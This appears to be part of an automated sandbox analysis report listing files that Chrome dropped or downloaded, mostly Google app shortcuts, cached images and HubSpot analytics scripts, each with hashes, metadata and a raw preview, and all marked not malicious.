Preview:	L..................F.@.. ...$+.,....A.EH.O......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 16:45:23 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.009501481675293
Encrypted:	false
SSDEEP:	48:8fxdaT/7kHHWidAKZdA10eh/iZUkAQkqehUy+2:8fmUy9Qpy
MD5:	5FCFF2C13ED873B48DF6446563F167FB
SHA1:	4A00A9A717E541FC86C5C4EAFA3F837AAF4783DC
SHA-256:	C298B1E7D28CE22F7744FFBB4EC4DBDEE7FCE82BD4658489A3CF980AC2FFE3F8
SHA-512:	EAF5D697DD29484C466B72EC634D4A15137E734A2FDC25EAB600C6F6FB5E54C8B10F3BE5966A7D374A3C636CE418FC8C0A3B777625657B4E756F3467362B0D53
Malicious:	false
Preview:	L..................F.@.. ...$+.,......7H.O......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.018871406946023
Encrypted:	false
SSDEEP:	48:8exdaT/7kjHWidAKZdA14tIeh7sFiZUkmgqeh7siy+BX:8emUGnoy
MD5:	AC2FDE0D6CD2682F4C9204300A2590E0
SHA1:	30E11885BE7D3E76E22132F99344A817CD36CE49
SHA-256:	9B2F0DA089A27AE52A5A8D3368B2BD319AF21646D2735CD34907187A6828A1F2
SHA-512:	FAEC78DA57F3CCB876ACF464BE1C29E188F09DDD7C2DF4903A5803E6EC24A9813946D0C37E41D86B943F14E235AB45E98217AC6C48092DF0C1B61919103CE293
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 16:45:23 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.006612794957516
Encrypted:	false
SSDEEP:	48:8txdaT/7kHHWidAKZdA1behDiZUkwqehgy+R:8tmUJay
MD5:	BF70242259483C4A77DA0A3959E1CC80
SHA1:	094D64D8D7C72543447A55610B4655478DEC0209
SHA-256:	6404320A8F009EB07B93294C16E316E237D059EE70AD6EC4C11BEB29A18FF7E9
SHA-512:	3C95E471E4EB6954C2D04D7A42FFD0F8AF7D092A5127578D4168A37C48D33D6242F122881CC2D6554DB30665685C06399158AD5B250B1097FF5B6FC785493B52
Malicious:	false
Preview:	L..................F.@.. ...$+.,....%.2H.O......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 16:45:23 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.996695804189065
Encrypted:	false
SSDEEP:	48:8ZxdaT/7kHHWidAKZdA1VehBiZUk1W1qehmy+C:8ZmU59Gy
MD5:	FF0D0304513139479960C976858E6C65
SHA1:	CBA27DE0BB43F0EEF5D1C05C20F11FA565AE047D
SHA-256:	792CFD22969DC85766DE28AE2E5EF87E3616F6E3FDFA30E7B3E90DA137766592
SHA-512:	59696628165974A409B8FB9C713D365179C6282AB73DFA842286837355EECE338EA1C06B97CEDAA76619FC183A3EF579E9F97AF2FFE5E95ABB4229733AD22F77
Malicious:	false
Preview:	L..................F.@.. ...$+.,....&7>H.O......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 16:45:22 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.007708745419529
Encrypted:	false
SSDEEP:	48:8/xdaT/7kHHWidAKZdA1duT6ehOuTbbiZUk5OjqehOuTboy+yT+:8/mUZTTTbxWOvTboy7T
MD5:	26AE4C8AE59E41DA127C270BCA61F98E
SHA1:	A99DB36BA234A7EAB039A9A984B0C3508B65E8E9
SHA-256:	6F5860C5EAF5F86A13D1836B0A799B0180BCD05751AB364D66AE21DD3D8B7650
SHA-512:	A03DF1E91D93D24CD68C8006C035AF3D0F45DC48FC342AE47B65195CC7FB2F0A899C0F16735C38B5CF7C5C9316A9431573C569E38C035F993297DAB8CA1F490F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....A.(H.O......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1058
Entropy (8bit):	7.565665121588422
Encrypted:	false
SSDEEP:	24:JZ7D39TqhAus/o2EtPh0jLWcPmyX3T3FgHzOpty+sNmwoTAZ6ZGotxnb:Jb+qQ/tPhELDeUKHzOLyvoFJjb
MD5:	95407664D6777D92E63257DF5814C794
SHA1:	E89791C12CA3E4F09B87BAB4E147A397940CCBA6
SHA-256:	300E7BF53911658D3E6FEA6C70F64DC681881D7E28563FFA03DD43553AFB295C
SHA-512:	5A16E0EEF283364B6845F5A8240C0AF2F4EBD68A83A21EBD8F85CF9F98760886DAAB570D358950BC0A974C6F9FD2DD96C2996973ECF1E2DF4D1F918B648AB820
Malicious:	false
URL:	https://www.gstatic.com/images/branding/product/1x/google_home_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....\Q...eP.vc.....m....fP+...S.6..M......;.w./.~.;.g.y>;"......"..J...-.;52...<..g.'...}..F..`.s.'....'."N.L...........p.....lD.......c..].5.(....G:.......5.A.?62...8<v..G........t.....s[..pe..}.,....^w.k.;.4.?.#f\.Z.~.b......G.}n..x.......[..c-R..@...Go.^..U."...... x................[4.....W.....^..v..#.]\|!...L.@.#..v....T..Ke..o..>.L..E/................".;...Y#8....#..}..D..C......2. ....E#B@......'#..f`...n..D._..'1....m....D..@q.._..Y.n./D.#...g]..E.....U<.......k.....[.W.l.m.....J".{.X..1g...!F.E.S.g".>f<....%}J.L....@c..5...'..u...S.P&.-QA...\|3...jj...e..2x%...{.....)3....a...k.O....{4..M....<....4../........x.......w...I..M\.r..I...$...........o.y...<....<^I.......@{4...V"..".E.\8.2.[...[....u...;U0}'..&{b4wk.;.E.X..Q9.pW.5_v.l._...~j..,..x4...\|.`=.@....4..<.......?.(@...&..:...........V....H.-.......4...c....{;@-R....wu....*.w\|...?....<...8..x..K~.....p...x...X._......7..j?O.;.p....x\|.gj

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65327)
Category:	downloaded
Size (bytes):	71705
Entropy (8bit):	5.3803254597526715
Encrypted:	false
SSDEEP:	1536:ZQD6TmRVRZhsrpscTKbsveXl7sWYqPMaM:Z/TKZhiKov9WHMaM
MD5:	CEB8BCB73E5536D8416735A3977D227A
SHA1:	D9521B15CDD170608C504250516F35BACF1C8E55
SHA-256:	1764BC84EA6ABE91F1634B73A5A6C0EBFF400461DFEA6A4040BD0C03D86CAA8B
SHA-512:	70A0A1C2912199F5B2DA890B3F29474462F391D794D86DD29A5C62106E89C23C51B9836FF6BE0A2271C30B003C959ED3D9075AEA95AB00FDD6EAF4059631D753
Malicious:	false
URL:	https://js.hscollectedforms.net/collectedforms.js
Preview:	/! For license information please see project.js.LICENSE.txt /.!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t:"function"==typeof t},i=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t},o=function(t){return Object(i(t))},s=Math.ceil,a=Math.floor,u=function(t){return isNaN(t=+t)?0:(t>0?a:s)(t)},c=Math.min,l=function(t){return t>0?c(u(t),9007199254740991):0},d=function(t,e){if(!n(t))return t;var r,i;if(e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;if("function"==typeof(r=t.valueOf)&&!n(i=r.call(t)))return i;if(!e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;throw TypeError("Can't convert object to primitive value")},f=function(t){try{return!!t()}catch(t){return!0}},h=!f((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})),p="object"==typeof window&&window&&window.Ma

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3521
Entropy (8bit):	7.899990309375919
Encrypted:	false
SSDEEP:	48:0/Eujl++Y7YRDWZ/XpWfDAU2C0Ocoxqc5+vyL/h+HMUjGPZiWZp20HY00pNBXb/M:+DVQZ/XEWC0VcTh+HTjsZJ4fpbXbc
MD5:	CE10C5E13C148627ACE62AD7542395D6
SHA1:	4863E2FD9A15018BCE372C339B0C7D1B0F5FE98F
SHA-256:	B07084658EB737DDBA1BC0B3DA4EFC0331009FF3968E4C6AF683F95C17E6368F
SHA-512:	25E71F462982135A93AB53EE2849D21D4D84ECA87B22E311B8B85AB7C18EEB25517DF1F7497549DE084669553ECB176C5383E5E0ADA1A5A67C309CE1F46817DA
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....A.G7...m.J..8.qv1F)..,...9....&.....1.5,.cvL..0...m-k..H....`<.d.`iz.?...Kk...}....NI.[E.....\|.fZ.v..".3%..t.Q9.ZGF..&........D....A.U..qp${.."....m.XF.Q...NuG.O}O...I....:u.."F^3..XF.Q..Z.YM.....%........z.IH.\|=..o..7.....:.q....~......neH.i.....K.=.?V..&....u.F..e ...B.a...J.p....t.. F;@. ...`.x.......H^. 1....U......z...{..3.. .g6.R.\.".N...R..u.V'..c.c(@P.$.^.X.b.........`g..g(nS.u...M......^\|.:.._...........O0l.....A.w..9".0.....=....}..........t..}.......K?...Hr~EH.7.A...(.a.L0t..9....n...s.A.th...w.!.N...Q.\|...[..u...i...n..H.....#.>}..h.Z.... ...N.....".)..$.z...\.B..E.....Ch:.." ..;..B...'.T3.X0..Kb......h.,.[.(.,._.$..~....a...033333.....1<.=.....Iv.zxn.W.1T......}.-......R.&@<.;....P.....s.....-H._.:...OB......9CJb.......x..;.o..../...B..D.3.....L./.&..>..f..]$.oR.;....2.?:...s.....u...Ddr..g...t..8<I.....w......d..([8l#~..m......)..R.....@......rq.....W...w...lS.x.&...a...e...M....

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	134
Entropy (8bit):	4.888902974358046
Encrypted:	false
SSDEEP:	3:YVKBEiFFXT+4MRL2KIhfwcP2xR2GXEqRWJ6jLZHJqloRWfn:YiLtT+BbU2mn6jLZpKXf
MD5:	7A68A4362D8F1203023FC18EB0DE4820
SHA1:	BB9399AF71CF71EC659510E5336C5DF6CF0D8D0C
SHA-256:	0A7C967E1FBA67AF0509115B4EB035F4994ED1B8B8604E9BC9BD10918438B475
SHA-512:	715F8FF45BEF7A9962F68303D0C0567F59397BB1B6ACD3E63CA4B7F566BC9F3CE2EECB50F442AC9CCB952960ECB6C7745BC349CE3C63B1186A8A5B6639E528DF
Malicious:	false
Preview:	{"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1393
Entropy (8bit):	7.741695342683955
Encrypted:	false
SSDEEP:	24:D/6Bm17qS9DbPDQ45Gkds4VbbBYdVATpFxb+hs3xl0Sau164l2kFSWZR2vtUx2lH:D/6BmIG7hdbYdVules3xla+64l9wxVUo
MD5:	0EAA75E84E3B5D76E26B5BDEF873465E
SHA1:	79DAEA62FA0952E79644B23305210D61B6CBB631
SHA-256:	D375701BEED766135440CC65BD4CEDE9CC455C0116A362E124C3C2158EDCEFF4
SHA-512:	EE117EEF8002ABEF55C7521FDF265C597226994BDD4EDDF9965E22E1FBA4D8526544A6427F847C2BEA3B586B3E4C06BEB6584D1CCEF5A06AD4739CAF837DB7EB
Malicious:	false
URL:	https://lh3.googleusercontent.com/o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64
Preview:	.PNG........IHDR...@...@......iq.....pHYs.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx..[;l.A..;1!@.@......@" ....44\|KD.......E..(A"....ih ...@.H..B..)............>{w{...H..n.;;og.vfw..T.YM....^.m`...b.0.....V..^\....`Jo..B.-..}....F...)..wq..<6........5.L.a.a.q.}.."...J...g....FZ.....4m.4..n..i.g.8............3...w./:..Be....r.T%.0......g5..v.:..X.r.V..?...c_3.J...u ........da....).c.3p(...T.l.E..3....Q.9.R7{...'...MTQ. ..@...R.....j:up....j...w#?...\|.n.}E.........Q:.Q.._..n....W.Q...x.:.X...aU.....o;../4MS..P...Z....%...a.V...S...x...B..FfL{g....%'^......kd.C.U..7.;.....@{.\|.+K.o.0+;.........\%..,qA...(...@......."Gdd..^..C..c.w..S[.P....`......B^....~.c.'t...4 ...P..I$.....,.-.....Z.^..\M.....d.`...TV.LC.....`..H.....KYYB..,......o.../.\|v...d.Y......H.....q..Bq/. 09...7.@....."."n.".d..:'..r...x..F.O......m.i....}.....SS.'g7...\|1..d.dA........:T._..>.t....M...A..$....vN[.#..\|..7...,.J.."w...D.v4..F2..?}..@.mclf>w+...h.m..

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	450
Entropy (8bit):	7.495986319404223
Encrypted:	false
SSDEEP:	12:Ca326KFesjKanqSI736KWoOFs2fty/X3hoBaWl:926KllqvnX21y/X3hoB/
MD5:	F48562D7736106E64B3BDEA0A64F67C8
SHA1:	2C82B9A308F0F6B1F0F71DB307367E485645406D
SHA-256:	440209CE5CFBEE5E475E344453B01A92E10FDB34A536E32E8895A766EC1B4E69
SHA-512:	57E665DE3E2362B6C3BE5A6D05EFC4368AB5DA6C899A3BBD5CE10A82DC87DF86993D2D706E49722CE867891E9A063F187E7267D4D7DC3617059FBD26A4D2A6FA
Malicious:	false
URL:	https://static.hsappstatic.net/StyleGuideUI/static-3.412/img/sprocket/favicon-32x32.png
Preview:	RIFF....WEBPVP8L..../.......$)...._.tg.<c>3.......f....l.L~..'.m&...m.Ft..3w.... ..~..W-...}B..B..c-..n@.....}T~8-...Z..o...0.?...[....x.HI..X.]}7...N......./....G.?_......c5X..g.....c..@.t...?.)....G.r^.g^z...z........n.O..;2[....6.=.-.Xj..IK.C..\.(.H. 2.R..6..NJB.y.X..?_l.......}S...,...8...............C.ui..P\Mu...2.....s..wQ..f.{..q.V..,fH.....>..M..r...j.c.A....Y*.D.......?..O........4...J..>...TDh.......g.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (542)
Category:	dropped
Size (bytes):	1557
Entropy (8bit):	5.281525705180023
Encrypted:	false
SSDEEP:	48:4QqumpcddwmpvYWtSkpwzCQVxYkpwNyhQ5KQVI:dRUcdaIvpBezCQBeGQ0Q2
MD5:	2D89D25E5D2359F192DE1346FD18C181
SHA1:	442E609DCA23F028539FE1BFA051C6B75019BAEF
SHA-256:	D09B62059F8569EB13F6BB03DF6A09882F595C802E347CFF3695083E4202F806
SHA-512:	AEFB107149E213DDD3E5CF5740319A63FC7AF9B30244E275D813C1FB8DD5FFDDDB8047189144E6527271F0938D871CE626EFB81DAA6470C79B5EDC19E45C69D2
Malicious:	false
Preview:	// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0..!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1734370800000/48192692.js",c.type="text/javascript",c.id=e;var n=document.getElementsByTagName("script")[0];n.parentNode.insertBefore(c,n)}}("hs-analytics");.var _hsp = window._hsp = window._hsp \|\| [];._hsp.push(['addEnabledFeatureGates', []]);._hsp.push(['setBusinessUnitId', 0]);.!function(t,e,r){if(!document.getElementById(t)){var n=document.createElement("script");for(var a in n.src="https://js.hs-banner.com/v2/48192692/banner.js",n.type="text/javascript",n.id=t,r)r.hasOwnProperty(a)&&n.setAttribute(a,r[a]);var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(n,i)}}("cookieBanner-48192692",0,{"data-cookieconsent":"ignore","data-hs-ignore":true,"data-loader":"hs-scriptloader","data-hsjs-portal":48192692,"data-hsjs-env":"prod","data-hsjs-hu

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1275
Entropy (8bit):	7.756126878635641
Encrypted:	false
SSDEEP:	24:gzUAyuF7+TcO3htKQdzvdN+d4YdmNg9iUtPEplZQdNW8RE:gz7/F7hO3htKQdzvdN+d4YdmNgEPeE
MD5:	A1485FAD16EDF8FA9F0863128AF0A1CE
SHA1:	4A6C9239C2594861C0E7D3A156954740208275CC
SHA-256:	89DFD715B8E1150CE83F876DF83361B38A11F24FC0BD0922B39CA4CBC701B45F
SHA-512:	9413D7F9192A2F9C056B6A697113691327A92AC4A50386593ACEE8D221ACB024D333BB059553BAD42325B863C02006D7D7C89E8362267C3481D75D8EB7B07063
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/play_prism/v8/web-64dp/logo_play_prism_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx.b ...Q`.T.tY...63_..7"<......9.I..a..m..k..j.m.m{.q.{.l...j....1..&.&6#^X.U..(.i.d5fSH.JE.q.b}..f+..(S./ ]3...'.~...eO...X<D..)YMC.v.9.._..^.\....#.u.}..p.C..E...6@.e..+..\|.c.r:..uy....ii.S>4...y.)M.........8Kr...?C.7..m..:...D98.7."..j.+v.].....4.. .;e.E......t:.a... ..6c.l1.;v..{.Dh..r......fh.w.D.#-.MKU3.....v......4..Lu....j./..t1......99....!Q..{q..,......&......c... B.......<...[C........NXZ.U.Y.(.9c.%..g..]8.....j.2...=..Iy..=.OW.9.q..;a...Z..L.x.......@.....UN_.7.=.[.<p.b..J..k9.P1.......-.`..u.7.\|)..8@...=.......R..+=?<.:."......B..@.w.I.p=.......?..Z..I-...>..........._.y.3I..d..;.J..r$.>...=9.b...........{\|.@.md..U..A.....w....I...@....y[.$.O>N..=M..3.. o.=...fW....(..=o...i...84.O$1..,.@..^3![k....j _.?Odq#...zL.d....R......E...v.i.....r\|..u.7........\|P..."B...e...C.2F..w.t..\|........&\x'.."...\|....W.O..../).X...\|X....#....A<...~D...^l{Wx...#..>:)^J......Rn^../*pFt...<(Z}.J.'.....

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1254
Entropy (8bit):	5.066197194954144
Encrypted:	false
SSDEEP:	24:t4LsQfefL1bAjUDAh9Q36tg8anACOIYeACxNaADwH4KV7875B7X4KrU:+X2fKPi6eLTYeACXXwHj7qNX5U
MD5:	D083C5690DC37F8B7A238A18F195D8A0
SHA1:	3C5E3262B7150E80FA9036338395EF04D8245A46
SHA-256:	C2790158F77DF106A523639CEF09BD263A9AE747B9004AC214ACE25DD0D4CBD7
SHA-512:	A7A953FC1F6E26694D4324C344B069F48D4FEDCEBCA296AE28F79A0BBBB70FB5C28DC84D96625E5389D05C1AD35D77BE302855FAF4032C0F6FFCACA3E1E55816
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/google_cloud/v8/192px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" enable-background="new 0 0 192 192" height="192" viewBox="0 0 192 192" width="192"><g><defs><rect height="192" id="SVGID_1_" width="192"/></defs><clipPath id="SVGID_2_"><use overflow="visible" xlink:href="#SVGID_1_"/></clipPath><g clip-path="url(#SVGID_2_)"><path d="M121.11,60.87l5.89,0.11l16.01-16.01l0.78-6.78C131.07,26.87,114.33,19.98,96,19.98 c-33.19,0-61.18,22.57-69.48,53.17c1.75-1.21,5.48-0.31,5.48-0.31l32-5.26c0,0,1.66-2.72,2.47-2.55 C73.79,57.02,84.32,51.98,96,51.98C105.5,51.98,114.24,55.32,121.11,60.87z" fill="#EA4335"/><path d="M165.5,73.19c-3.71-13.72-11.39-25.82-21.72-35.01l-22.68,22.68C130.18,68.2,136,79.42,136,91.98v4 c11.03,0,20,8.97,20,20s-8.97,20-20,20H96L92,140v24l4,3.98h40c28.67,0,52-23.33,52-52C188,98.25,179.08,82.58,165.5,73.19z" fill="#4285F4"/><path d="M56,167.98h39.97v-32H56c-2.94,0-5.72-0.65-8.24-1.8L42,135.95l-16.02,16.02l-1.4,5.41 C33.31,164.02,44.2,167.98,56,167.98z" fill="#34A

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 930 x 565, 8-bit colormap, non-interlaced
